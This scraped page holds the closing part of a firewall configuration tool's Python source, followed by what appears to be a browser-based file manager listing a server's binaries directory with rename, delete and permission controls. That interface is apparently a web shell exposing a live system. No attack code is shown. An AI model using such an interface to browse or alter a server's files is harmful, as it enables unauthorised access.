settings.setEntries(old_entries) if changed: fw.config.set_ipset_config(ipset, settings.settings) elif a.remove_entries_from_file: ipset = fw.config.get_ipset(a.ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) changed = False for filename in a.remove_entries_from_file: try: entries = cmd.get_ipset_entries_from_file(filename) except IOError as msg: message = "Failed to read file '%s': %s" % (filename, msg) if len(a.remove_entries_from_file) > 1: cmd.print_warning(message) else: cmd.print_and_exit(message) else: old_entries = settings.getEntries() entries_set = set() for entry in old_entries: entries_set.add(entry) for entry in entries: if entry in entries_set: old_entries.remove(entry) entries_set.discard(entry) changed = True else: cmd.print_if_verbose("Warning: NOT_ENABLED: %s" % \ entry) if changed: settings.setEntries(old_entries) if changed: fw.config.set_ipset_config(ipset, settings.settings) elif a.set_description: ipset = fw.config.get_ipset(a.ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) settings.setDescription(a.set_description) fw.config.set_ipset_config(ipset, settings.settings) elif a.get_description: ipset = fw.config.get_ipset(a.ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) cmd.print_and_exit(settings.getDescription()) elif a.set_short: ipset = fw.config.get_ipset(a.ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) settings.setShort(a.set_short) fw.config.set_ipset_config(ipset, settings.settings) elif a.get_short: ipset = fw.config.get_ipset(a.ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) cmd.print_and_exit(settings.getShort()) else: cmd.fail(parser.format_usage() + "Unknown option") cmd.print_and_exit("success") # helper elif a.get_helpers: cmd.print_and_exit(" ".join(sorted(fw.config.get_helpers()))) elif a.new_helper: if not a.module: cmd.fail(parser.format_usage() + "No module specified.") settings = FirewallClientHelperSettings() settings.setModule(a.module) if a.family: settings.setFamily(a.family) fw.config.new_helper(a.new_helper, settings.settings) elif a.new_helper_from_file: filename = os.path.basename(a.new_helper_from_file) dirname = os.path.dirname(a.new_helper_from_file) if dirname == "": dirname = "./" try: obj = helper_reader(filename, dirname) except FirewallError as msg: cmd.print_and_exit("Failed to load helper file '%s': %s" % \ (a.new_helper_from_file, msg), msg.code) except IOError as msg: cmd.fail("Failed to load helper file: %s" % msg) if a.name: obj.name = a.name fw.config.new_helper(obj.name, obj.export_config()) elif a.delete_helper: obj = fw.config.get_helper(a.delete_helper) fw.config.remove_helper(obj) elif a.load_helper_defaults: obj = fw.config.get_helper(a.load_helper_defaults) fw.config.load_helper_defaults(obj) elif a.info_helper: obj = fw.config.get_helper(a.info_helper) settings = FirewallClientHelperSettings( list(fw.config.get_helper_config(obj))) cmd.print_helper_info(a.info_helper, settings) sys.exit(0) elif a.path_helper: obj = fw.config.get_helper(a.path_helper) cmd.print_and_exit("%s/%s" % (obj.path, obj.filename)) elif a.helper: obj = fw.config.get_helper(a.helper) settings = FirewallClientHelperSettings( list(fw.config.get_helper_config(obj))) if a.add_port: cmd.add_sequence(a.add_port, settings.addPort, settings.queryPort, cmd.parse_port, "%s/%s") fw.config.set_helper_config(obj, settings.settings) elif a.remove_port: cmd.remove_sequence(a.remove_port, settings.removePort, settings.queryPort, cmd.parse_port, "%s/%s") fw.config.set_helper_config(obj, settings.settings) elif a.query_port: cmd.query_sequence(a.query_port, settings.queryPort, cmd.parse_port, "%s/%s") elif a.get_ports: l = settings.getPorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in l])) elif a.get_module: cmd.print_and_exit(settings.getModule()) elif a.set_module: settings.setModule(cmd.check_module(a.set_module)) fw.config.set_helper_config(obj, settings.settings) elif a.get_family: cmd.print_and_exit(settings.getFamily()) elif a.set_family: settings.setFamily(cmd.check_helper_family(a.set_family[0])) fw.config.set_helper_config(obj, settings.settings) elif a.set_description: settings.setDescription(a.set_description) fw.config.set_helper_config(obj, settings.settings) elif a.get_description: cmd.print_and_exit(settings.getDescription()) elif a.set_short: settings.setShort(a.set_short) fw.config.set_helper_config(obj, settings.settings) elif a.get_short: cmd.print_and_exit(settings.getShort()) else: cmd.fail(parser.format_usage() + "Unknown option") # lockdown whitelist elif options_lockdown_whitelist: whitelist = fw.config.get_policies().lockdown_whitelist # commands if a.list_lockdown_whitelist_commands: l = whitelist.get_commands() cmd.print_and_exit("\n".join(l)) elif a.add_lockdown_whitelist_command: cmd.add_sequence(a.add_lockdown_whitelist_command, whitelist.add_command, whitelist.has_command, None, "'%s'") elif a.remove_lockdown_whitelist_command: cmd.remove_sequence(a.remove_lockdown_whitelist_command, whitelist.remove_command, whitelist.has_command, None, "'%s'") elif a.query_lockdown_whitelist_command: cmd.query_sequence(a.query_lockdown_whitelist_command, whitelist.has_command, None, "'%s'") # contexts elif a.list_lockdown_whitelist_contexts: l = whitelist.get_contexts() cmd.print_and_exit("\n".join(l)) elif a.add_lockdown_whitelist_context: cmd.add_sequence(a.add_lockdown_whitelist_context, whitelist.add_context, whitelist.has_context, None, "'%s'") elif a.remove_lockdown_whitelist_context: cmd.remove_sequence(a.remove_lockdown_whitelist_context, whitelist.remove_context, whitelist.has_context, None, "'%s'") elif a.query_lockdown_whitelist_context: cmd.query_sequence(a.query_lockdown_whitelist_context, whitelist.has_context, None, "'%s'") # uids elif a.list_lockdown_whitelist_uids: l = whitelist.get_uids() cmd.print_and_exit(" ".join(map(str, l))) elif a.add_lockdown_whitelist_uid: cmd.add_sequence(a.add_lockdown_whitelist_uid, whitelist.add_uid, whitelist.has_uid, None, "'%s'") elif a.remove_lockdown_whitelist_uid: cmd.remove_sequence(a.remove_lockdown_whitelist_uid, whitelist.remove_uid, whitelist.has_uid, None, "'%s'") elif a.query_lockdown_whitelist_uid: cmd.query_sequence(a.query_lockdown_whitelist_uid, whitelist.has_uid, None, "'%s'") # users elif a.list_lockdown_whitelist_users: l = whitelist.get_users() cmd.print_and_exit("\n".join(l)) elif a.add_lockdown_whitelist_user: cmd.add_sequence(a.add_lockdown_whitelist_user, whitelist.add_user, whitelist.has_user, None, "'%s'") elif a.remove_lockdown_whitelist_user: cmd.remove_sequence(a.remove_lockdown_whitelist_user, whitelist.remove_user, whitelist.has_user, None, "'%s'") elif a.query_lockdown_whitelist_user: cmd.query_sequence(a.query_lockdown_whitelist_user, whitelist.has_user, None, "'%s'") # apply whitelist changes whitelist.write() elif options_direct: obj = fw.config.get_direct() if a.add_passthrough: if len(a.add_passthrough) < 2: cmd.fail("usage: --direct --add-passthrough { ipv4 | ipv6 | eb } <args>") cmd.print_msg( obj.add_passthrough(cmd.check_ipv(a.add_passthrough[0]), splitArgs(a.add_passthrough[1]))) elif a.remove_passthrough: if len(a.remove_passthrough) < 2: cmd.fail("usage: --direct --remove-passthrough { ipv4 | ipv6 | eb } <args>") obj.remove_passthrough(cmd.check_ipv(a.remove_passthrough[0]), splitArgs(a.remove_passthrough[1])) elif a.query_passthrough: if len(a.query_passthrough) < 2: cmd.fail("usage: --direct --query-passthrough { ipv4 | ipv6 | eb } <args>") cmd.print_query_result( obj.query_passthrough(cmd.check_ipv(a.query_passthrough[0]), splitArgs(a.query_passthrough[1]))) sys.exit(0) elif a.get_passthroughs: rules = obj.get_passthroughs(cmd.check_ipv(a.get_passthroughs[0])) for rule in rules: cmd.print_msg(joinArgs(rule)) sys.exit(0) elif a.get_all_passthroughs: rules = obj.get_all_passthroughs() for ipv in rules: for rule in rules[ipv]: cmd.print_msg("%s %s" % (ipv, joinArgs(rule))) sys.exit(0) elif a.add_chain: obj.add_chain(cmd.check_ipv(a.add_chain[0]), a.add_chain[1], a.add_chain[2]) elif a.remove_chain: obj.remove_chain(cmd.check_ipv(a.remove_chain[0]), a.remove_chain[1], a.remove_chain[2]) elif a.query_chain: cmd.print_query_result( obj.query_chain(cmd.check_ipv(a.query_chain[0]), a.query_chain[1], a.query_chain[2])) sys.exit(0) elif a.get_chains: cmd.print_and_exit( " ".join(obj.get_chains(cmd.check_ipv(a.get_chains[0]), a.get_chains[1]))) sys.exit(0) elif a.get_all_chains: chains = obj.get_all_chains() for (ipv, table) in chains: for chain in chains[(ipv, table)]: cmd.print_msg("%s %s %s" % (ipv, table, chain)) sys.exit(0) elif a.add_rule: if len(a.add_rule) < 5: cmd.fail("usage: --direct --add-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") try: priority = int(a.add_rule[3]) except ValueError: cmd.fail("wrong priority\nusage: --direct --add-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") obj.add_rule(cmd.check_ipv(a.add_rule[0]), a.add_rule[1], a.add_rule[2], priority, splitArgs(a.add_rule[4])) elif a.remove_rule: if len(a.remove_rule) < 5: cmd.fail("usage: --direct --remove-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") try: priority = int(a.remove_rule[3]) except ValueError: cmd.fail("usage: --direct --remove-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") obj.remove_rule(cmd.check_ipv(a.remove_rule[0]), a.remove_rule[1], a.remove_rule[2], priority, splitArgs(a.remove_rule[4])) elif a.remove_rules: if len(a.remove_rules) < 3: cmd.fail("usage: --direct --remove-rules { ipv4 | ipv6 | eb } <table> <chain>") obj.remove_rules(cmd.check_ipv(a.remove_rules[0]), a.remove_rules[1], a.remove_rules[2]) elif a.query_rule: if len(a.query_rule) < 5: cmd.fail("usage: --direct --query-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") try: priority = int(a.query_rule[3]) except ValueError: cmd.fail("usage: --direct --query-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") cmd.print_query_result( obj.query_rule(cmd.check_ipv(a.query_rule[0]), a.query_rule[1], a.query_rule[2], priority, splitArgs(a.query_rule[4]))) sys.exit(0) elif a.get_rules: rules = obj.get_rules(cmd.check_ipv(a.get_rules[0]), a.get_rules[1], a.get_rules[2]) for (priority, rule) in rules: cmd.print_msg("%d %s" % (priority, joinArgs(rule))) sys.exit(0) elif a.get_all_rules: rules = obj.get_all_rules() for (ipv, table, chain) in rules: for (priority, rule) in rules[(ipv, table, chain)]: cmd.print_msg("%s %s %s %d %s" % \ (ipv, table, chain, priority, joinArgs(rule))) sys.exit(0) obj.write() # list everything elif a.list_all_policies: policies = fw.config.get_policy_objects() for policy in policies: fw_policy = fw.config.get_policy_object(policy) fw_settings = FirewallClientPolicySettings(fw.config.get_policy_object_config_dict(fw_policy)) cmd.print_policy_info(policy, fw_settings) cmd.print_msg("") sys.exit(0) elif a.policy: fw_policy = fw.config.get_policy_object(a.policy) fw_settings = FirewallClientPolicySettings(fw.config.get_policy_object_config_dict(fw_policy)) # ingress zones if a.list_ingress_zones: l = fw_settings.getIngressZones() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_ingress_zone: cmd.add_sequence(a.add_ingress_zone, fw_settings.addIngressZone, fw_settings.queryIngressZone, None, "'%s'") elif a.remove_ingress_zone: cmd.remove_sequence(a.remove_ingress_zone, fw_settings.removeIngressZone, fw_settings.queryIngressZone, None, "'%s'") elif a.query_ingress_zone: cmd.query_sequence(a.query_ingress_zone, fw_settings.queryIngressZone, None, "'%s'") # egress zones if a.list_egress_zones: l = fw_settings.getEgressZones() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_egress_zone: cmd.add_sequence(a.add_egress_zone, fw_settings.addEgressZone, fw_settings.queryEgressZone, None, "'%s'") elif a.remove_egress_zone: cmd.remove_sequence(a.remove_egress_zone, fw_settings.removeEgressZone, fw_settings.queryEgressZone, None, "'%s'") elif a.query_egress_zone: cmd.query_sequence(a.query_egress_zone, fw_settings.queryEgressZone, None, "'%s'") # priority elif a.get_priority: cmd.print_and_exit(str(fw_settings.getPriority())) elif a.set_priority: fw_settings.setPriority(a.set_priority) # rich rules if a.list_rich_rules: l = fw_settings.getRichRules() cmd.print_and_exit("\n".join(l)) elif a.add_rich_rule: cmd.add_sequence(a.add_rich_rule, fw_settings.addRichRule, fw_settings.queryRichRule, None, "'%s'") elif a.remove_rich_rule: cmd.remove_sequence(a.remove_rich_rule, fw_settings.removeRichRule, fw_settings.queryRichRule, None, "'%s'") elif a.query_rich_rule: cmd.query_sequence(a.query_rich_rule, fw_settings.queryRichRule, None, "'%s'") # service if a.list_services: l = fw_settings.getServices() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_service: cmd.add_sequence(a.add_service, fw_settings.addService, fw_settings.queryService, None, "'%s'") elif a.remove_service_from_policy: cmd.remove_sequence(a.remove_service_from_policy, fw_settings.removeService, fw_settings.queryService, None, "'%s'") elif a.query_service: cmd.query_sequence(a.query_service, fw_settings.queryService, None, "'%s'") # port elif a.list_ports: l = fw_settings.getPorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_port: cmd.add_sequence(a.add_port, fw_settings.addPort, fw_settings.queryPort, cmd.parse_port, "%s/%s") elif a.remove_port: cmd.remove_sequence(a.remove_port, fw_settings.removePort, fw_settings.queryPort, cmd.parse_port, "%s/%s") elif a.query_port: cmd.query_sequence(a.query_port, fw_settings.queryPort, cmd.parse_port, "%s/%s") # protocol elif a.list_protocols: l = fw_settings.getProtocols() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_protocol: cmd.add_sequence(a.add_protocol, fw_settings.addProtocol, fw_settings.queryProtocol, None, "'%s'") elif a.remove_protocol: cmd.remove_sequence(a.remove_protocol, fw_settings.removeProtocol, fw_settings.queryProtocol, None, "'%s'") elif a.query_protocol: cmd.query_sequence(a.query_protocol, fw_settings.queryProtocol, None, "'%s'") # source port elif a.list_source_ports: l = fw_settings.getSourcePorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_source_port: cmd.add_sequence(a.add_source_port, fw_settings.addSourcePort, fw_settings.querySourcePort, cmd.parse_port, "%s/%s") elif a.remove_source_port: cmd.remove_sequence(a.remove_source_port, fw_settings.removeSourcePort, fw_settings.querySourcePort, cmd.parse_port, "%s/%s") elif a.query_source_port: cmd.query_sequence(a.query_source_port, fw_settings.querySourcePort, cmd.parse_port, "%s/%s") # masquerade elif a.add_masquerade: fw_settings.setMasquerade(True) elif a.remove_masquerade: fw_settings.setMasquerade(False) elif a.query_masquerade: cmd.print_query_result(fw_settings.getMasquerade()) # forward port elif a.list_forward_ports: l = fw_settings.getForwardPorts() cmd.print_and_exit("\n".join(["port=%s:proto=%s:toport=%s:toaddr=%s" % (_port, _protocol, _toport, _toaddr) for (_port, _protocol, _toport, _toaddr) in l])) elif a.add_forward_port: cmd.add_sequence(a.add_forward_port, fw_settings.addForwardPort, fw_settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") elif a.remove_forward_port: cmd.remove_sequence(a.remove_forward_port, fw_settings.removeForwardPort, fw_settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") elif a.query_forward_port: cmd.query_sequence(a.query_forward_port, fw_settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") # block icmp elif a.list_icmp_blocks: l = fw_settings.getIcmpBlocks() cmd.print_and_exit(" ".join(l)) elif a.add_icmp_block: cmd.add_sequence(a.add_icmp_block, fw_settings.addIcmpBlock, fw_settings.queryIcmpBlock, None, "'%s'") elif a.remove_icmp_block: cmd.remove_sequence(a.remove_icmp_block, fw_settings.removeIcmpBlock, fw_settings.queryIcmpBlock, None, "'%s'") elif a.query_icmp_block: cmd.query_sequence(a.query_icmp_block, fw_settings.queryIcmpBlock, None, "'%s'") # policy target elif a.get_target: cmd.print_and_exit(fw_settings.getTarget()) elif a.set_target: fw_settings.setTarget(a.set_target) # list all policy settings elif a.list_all: cmd.print_policy_info(a.policy, fw_settings) sys.exit(0) elif a.set_description: fw_settings.setDescription(a.set_description) elif a.get_description: cmd.print_and_exit(fw_settings.getDescription()) elif a.set_short: fw_settings.setShort(a.set_short) elif a.get_short: cmd.print_and_exit(fw_settings.getShort()) fw.config.set_policy_object_config_dict(fw_policy, fw_settings.getSettingsDict()) cmd.print_and_exit("success") else: if zone == "": zone = fw.get_default_zone() fw_zone = fw.config.get_zone(zone) fw_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(fw_zone)) # interface if a.list_interfaces: l = fw_settings.getInterfaces() cmd.print_and_exit(" ".join(l)) elif a.get_zone_of_interface: for interface in a.get_zone_of_interface: ret = [ ] for zone in fw.config.get_zones(): obj = fw.config.get_zone(zone) if interface in obj.interfaces: ret.append(obj.name) if len(ret) > 1: # Even it shouldn't happen, it's actually possible that # the same interface is in several zone XML files cmd.print_warning(" ".join(ret) + " (ERROR: interface '%s' is in %s zone XML files, can be only in one)" % (interface, len(ret))) if len(ret) == 1: if len(a.get_zone_of_interface) > 1: cmd.print_warning("%s: %s" % (interface, ret[0])) else: cmd.print_and_exit(ret[0]) else: if len(a.get_zone_of_interface) > 1: cmd.print_warning("%s: no zone" % interface) else: cmd.print_and_exit("no zone", 2) elif a.change_interface: for interface in a.change_interface: for old_zone in fw.config.get_zones(): old_zone_obj = fw.config.get_zone(old_zone) if interface in old_zone_obj.interfaces: if old_zone_obj.name != zone: old_zone_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(old_zone_obj)) old_zone_settings.removeInterface(interface) # remove from old fw.config.set_zone_config_dict(old_zone_obj, old_zone_settings.getSettingsDict()) fw_settings.addInterface(interface) # add to new elif a.add_interface: cmd.add_sequence(a.add_interface, fw_settings.addInterface, fw_settings.queryInterface, None, "'%s'") elif a.remove_interface: cmd.remove_sequence(a.remove_interface, fw_settings.removeInterface, fw_settings.queryInterface, None, "'%s'") elif a.query_interface: cmd.query_sequence(a.query_interface, fw_settings.queryInterface, None, "'%s'") # source if a.list_sources: sources = fw_settings.getSources() cmd.print_and_exit(" ".join(sources)) elif a.get_zone_of_source: for source in a.get_zone_of_source: ret = [ ] for zone in fw.config.get_zones(): obj = fw.config.get_zone(zone) if source in obj.sources: ret.append(obj.name) if len(ret) > 1: # Even it shouldn't happen, it's actually possible that # the same source is in several zone XML files cmd.print_warning(" ".join(ret) + " (ERROR: source '%s' is in %s zone XML files, can be only in one)" % (source, len(ret))) if len(ret) == 1: if len(a.get_zone_of_source) > 1: cmd.print_warning("%s: %s" % (source, ret[0])) else: cmd.print_and_exit(ret[0]) else: if len(a.get_zone_of_source) > 1: cmd.print_warning("%s: no zone" % source) else: cmd.print_and_exit("no zone", 2) elif a.change_source: for source in a.change_source: for old_zone in fw.config.get_zones(): old_zone_obj = fw.config.get_zone(old_zone) if source in old_zone_obj.sources: if old_zone_obj.name != zone: old_zone_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(old_zone_obj)) old_zone_settings.removeSource(source) # remove from old fw.config.set_zone_config_dict(old_zone_obj, old_zone_settings.getSettingsDict()) fw_settings.addSource(source) # add to new elif a.add_source: cmd.add_sequence(a.add_source, fw_settings.addSource, fw_settings.querySource, None, "'%s'") elif a.remove_source: cmd.remove_sequence(a.remove_source, fw_settings.removeSource, fw_settings.querySource, None, "'%s'") elif a.query_source: cmd.query_sequence(a.query_source, fw_settings.querySource, None, "'%s'") # rich rules if a.list_rich_rules: l = fw_settings.getRichRules() cmd.print_and_exit("\n".join(l)) elif a.add_rich_rule: cmd.add_sequence(a.add_rich_rule, fw_settings.addRichRule, fw_settings.queryRichRule, None, "'%s'") elif a.remove_rich_rule: cmd.remove_sequence(a.remove_rich_rule, fw_settings.removeRichRule, fw_settings.queryRichRule, None, "'%s'") elif a.query_rich_rule: cmd.query_sequence(a.query_rich_rule, fw_settings.queryRichRule, None, "'%s'") # service if a.list_services: l = fw_settings.getServices() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_service: cmd.add_sequence(a.add_service, fw_settings.addService, fw_settings.queryService, None, "'%s'") elif a.remove_service_from_zone: cmd.remove_sequence(a.remove_service_from_zone, fw_settings.removeService, fw_settings.queryService, None, "'%s'") elif a.query_service: cmd.query_sequence(a.query_service, fw_settings.queryService, None, "'%s'") # port elif a.list_ports: l = fw_settings.getPorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_port: cmd.add_sequence(a.add_port, fw_settings.addPort, fw_settings.queryPort, cmd.parse_port, "%s/%s") elif a.remove_port: cmd.remove_sequence(a.remove_port, fw_settings.removePort, fw_settings.queryPort, cmd.parse_port, "%s/%s") elif a.query_port: cmd.query_sequence(a.query_port, fw_settings.queryPort, cmd.parse_port, "%s/%s") # protocol elif a.list_protocols: l = fw_settings.getProtocols() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_protocol: cmd.add_sequence(a.add_protocol, fw_settings.addProtocol, fw_settings.queryProtocol, None, "'%s'") elif a.remove_protocol: cmd.remove_sequence(a.remove_protocol, fw_settings.removeProtocol, fw_settings.queryProtocol, None, "'%s'") elif a.query_protocol: cmd.query_sequence(a.query_protocol, fw_settings.queryProtocol, None, "'%s'") # source port elif a.list_source_ports: l = fw_settings.getSourcePorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_source_port: cmd.add_sequence(a.add_source_port, fw_settings.addSourcePort, fw_settings.querySourcePort, cmd.parse_port, "%s/%s") elif a.remove_source_port: cmd.remove_sequence(a.remove_source_port, fw_settings.removeSourcePort, fw_settings.querySourcePort, cmd.parse_port, "%s/%s") elif a.query_source_port: cmd.query_sequence(a.query_source_port, fw_settings.querySourcePort, cmd.parse_port, "%s/%s") # forward elif a.add_forward: fw_settings.setForward(True) elif a.remove_forward: fw_settings.setForward(False) elif a.query_forward: cmd.print_query_result(fw_settings.getForward()) # masquerade elif a.add_masquerade: fw_settings.setMasquerade(True) elif a.remove_masquerade: fw_settings.setMasquerade(False) elif a.query_masquerade: cmd.print_query_result(fw_settings.getMasquerade()) # forward port elif a.list_forward_ports: l = fw_settings.getForwardPorts() cmd.print_and_exit("\n".join(["port=%s:proto=%s:toport=%s:toaddr=%s" % (_port, _protocol, _toport, _toaddr) for (_port, _protocol, _toport, _toaddr) in l])) elif a.add_forward_port: cmd.add_sequence(a.add_forward_port, fw_settings.addForwardPort, fw_settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") elif a.remove_forward_port: cmd.remove_sequence(a.remove_forward_port, fw_settings.removeForwardPort, fw_settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") elif a.query_forward_port: cmd.query_sequence(a.query_forward_port, fw_settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") # block icmp elif a.list_icmp_blocks: l = fw_settings.getIcmpBlocks() cmd.print_and_exit(" ".join(l)) elif a.add_icmp_block: cmd.add_sequence(a.add_icmp_block, fw_settings.addIcmpBlock, fw_settings.queryIcmpBlock, None, "'%s'") elif a.remove_icmp_block: cmd.remove_sequence(a.remove_icmp_block, fw_settings.removeIcmpBlock, fw_settings.queryIcmpBlock, None, "'%s'") elif a.query_icmp_block: cmd.query_sequence(a.query_icmp_block, fw_settings.queryIcmpBlock, None, "'%s'") # icmp block inversion elif a.add_icmp_block_inversion: fw_settings.addIcmpBlockInversion() elif a.remove_icmp_block_inversion: fw_settings.removeIcmpBlockInversion() elif a.query_icmp_block_inversion: cmd.print_query_result(fw_settings.queryIcmpBlockInversion()) # zone target elif a.get_target: cmd.print_and_exit(fw_settings.getTarget()) elif a.set_target: fw_settings.setTarget(a.set_target) # list all zone settings elif a.list_all: cmd.print_zone_info(zone if zone else fw.get_default_zone(), fw_settings) sys.exit(0) # list everything elif a.list_all_zones: zones = fw.config.get_zones() for zone in zones: fw_zone = fw.config.get_zone(zone) fw_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(fw_zone)) cmd.print_zone_info(zone, fw_settings) cmd.print_msg("") sys.exit(0) elif a.set_description: fw_settings.setDescription(a.set_description) elif a.get_description: cmd.print_and_exit(fw_settings.getDescription()) elif a.set_short: fw_settings.setShort(a.set_short) elif a.get_short: cmd.print_and_exit(fw_settings.getShort()) fw.config.set_zone_config_dict(fw_zone, fw_settings.getSettingsDict()) cmd.print_and_exit("success") except FirewallError as msg: cmd.print_and_exit("%s" % msg, msg.code) except Exception as msg: cmd.fail("%s" % msg) else: cmd.print_and_exit("success")
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
dr-xr-xr-x
2025-10-21 10:57:26
..
DIR
-
drwxr-xr-x
2025-06-28 07:14:01
2to3
text/plain
106 B
-rwxr-xr-x
2025-08-26 09:08:07
2to3-3.6
text/plain
106 B
-rwxr-xr-x
2025-08-26 09:08:07
GET
text/x-perl
15.84 KB
-rwxr-xr-x
2022-04-22 08:13:06
HEAD
text/x-perl
15.84 KB
-rwxr-xr-x
2022-04-22 08:13:06
Magick-config
text/x-shellscript
1.43 KB
-rwxr-xr-x
2025-04-01 01:10:59
MagickCore-config
text/x-shellscript
1.56 KB
-rwxr-xr-x
2025-04-01 01:10:59
MagickWand-config
text/x-shellscript
1.56 KB
-rwxr-xr-x
2025-04-01 01:10:59
Mail
application/x-sharedlib
408.89 KB
-rwxr-xr-x
2019-10-13 12:19:50
POST
text/x-perl
15.84 KB
-rwxr-xr-x
2022-04-22 08:13:06
Wand-config
text/x-shellscript
1.42 KB
-rwxr-xr-x
2025-04-01 01:10:59
[
application/x-sharedlib
53.67 KB
-rwxr-xr-x
2023-04-01 08:44:39
ab
application/x-sharedlib
72.63 KB
-rwxr-xr-x
2025-10-15 08:39:07
aclocal
text/x-perl
35.62 KB
-rwxr-xr-x
2023-10-14 08:00:43
aclocal-1.16
text/x-perl
35.62 KB
-rwxr-xr-x
2023-10-14 08:00:43
acpi_listen
application/x-sharedlib
18.26 KB
-rwxr-xr-x
2019-10-14 04:19:15
acyclic
application/x-sharedlib
12.41 KB
-rwxr-xr-x
2024-04-06 12:47:15
addr2line
application/x-sharedlib
33.41 KB
-rwxr-xr-x
2025-10-07 06:44:04
agentxtrap
application/x-sharedlib
24.54 KB
-rwxr-xr-x
2025-10-07 09:19:27
alias
text/x-shellscript
29 B
-rwxr-xr-x
2025-08-26 08:48:39
animate
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
apropos
application/x-sharedlib
54.04 KB
-rwxr-xr-x
2021-10-08 01:04:46
ar
application/x-sharedlib
61.97 KB
-rwxr-xr-x
2025-10-07 06:44:04
arch
application/x-sharedlib
37.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
aria_chk
application/x-sharedlib
4.53 MB
-rwxr-xr-x
2025-07-28 05:16:23
aria_dump_log
application/x-sharedlib
4.33 MB
-rwxr-xr-x
2025-07-28 05:16:24
aria_ftdump
application/x-sharedlib
4.34 MB
-rwxr-xr-x
2025-07-28 05:16:24
aria_pack
application/x-sharedlib
4.37 MB
-rwxr-xr-x
2025-07-28 05:16:23
aria_read_log
application/x-sharedlib
4.49 MB
-rwxr-xr-x
2025-07-28 05:16:23
arpaname
application/x-sharedlib
11.82 KB
-rwxr-xr-x
2025-02-20 09:05:41
as
application/x-sharedlib
889.91 KB
-rwxr-xr-x
2025-10-07 06:44:04
aspell
application/x-sharedlib
159.5 KB
-rwxr-xr-x
2022-04-18 03:10:53
at
application/x-sharedlib
57.33 KB
-rwxr-xr-x
2022-10-10 10:23:17
atop
application/x-executable
284.66 KB
-rwxr-xr-x
2022-01-11 04:41:18
atopconvert
application/x-executable
24.66 KB
-rwxr-xr-x
2022-01-11 04:41:18
atopd
text/x-shellscript
922 B
-rwxr-xr-x
2022-01-11 04:38:59
atopsar
application/x-executable
284.66 KB
-rwxr-xr-x
2022-01-11 04:41:18
atq
application/x-sharedlib
57.33 KB
-rwxr-xr-x
2022-10-10 10:23:17
atrm
application/x-sharedlib
57.33 KB
-rwxr-xr-x
2022-10-10 10:23:17
aulast
application/x-sharedlib
20.58 KB
-rwxr-xr-x
2025-07-15 09:41:57
aulastlog
application/x-sharedlib
12.44 KB
-rwxr-xr-x
2025-07-15 09:41:57
ausyscall
application/x-sharedlib
12.27 KB
-rwxr-xr-x
2025-07-15 09:41:57
authselect
application/x-sharedlib
41.13 KB
-rwxr-xr-x
2023-10-14 06:06:30
autoconf
text/x-shellscript
14.42 KB
-rwxr-xr-x
2024-08-13 07:30:48
autoheader
text/x-perl
8.33 KB
-rwxr-xr-x
2024-08-13 07:30:48
autom4te
text/x-perl
31.43 KB
-rwxr-xr-x
2024-08-13 07:30:48
automake
text/x-perl
251.9 KB
-rwxr-xr-x
2023-10-14 08:00:43
automake-1.16
text/x-perl
251.9 KB
-rwxr-xr-x
2023-10-14 08:00:43
autopoint
text/x-shellscript
25.95 KB
-rwxr-xr-x
2019-11-18 05:16:48
autoreconf
text/x-perl
20.57 KB
-rwxr-xr-x
2024-08-13 07:30:48
autoscan
text/x-perl
16.72 KB
-rwxr-xr-x
2024-08-13 07:30:48
autoupdate
text/x-perl
33.08 KB
-rwxr-xr-x
2024-08-13 07:30:48
auvirt
application/x-sharedlib
32.73 KB
-rwxr-xr-x
2025-07-15 09:41:57
awk
application/x-sharedlib
669.77 KB
-rwxr-xr-x
2022-04-18 03:56:05
b2sum
application/x-sharedlib
57.76 KB
-rwxr-xr-x
2023-04-01 08:44:39
base32
application/x-sharedlib
41.55 KB
-rwxr-xr-x
2023-04-01 08:44:39
base64
application/x-sharedlib
41.56 KB
-rwxr-xr-x
2023-04-01 08:44:39
basename
application/x-sharedlib
37.49 KB
-rwxr-xr-x
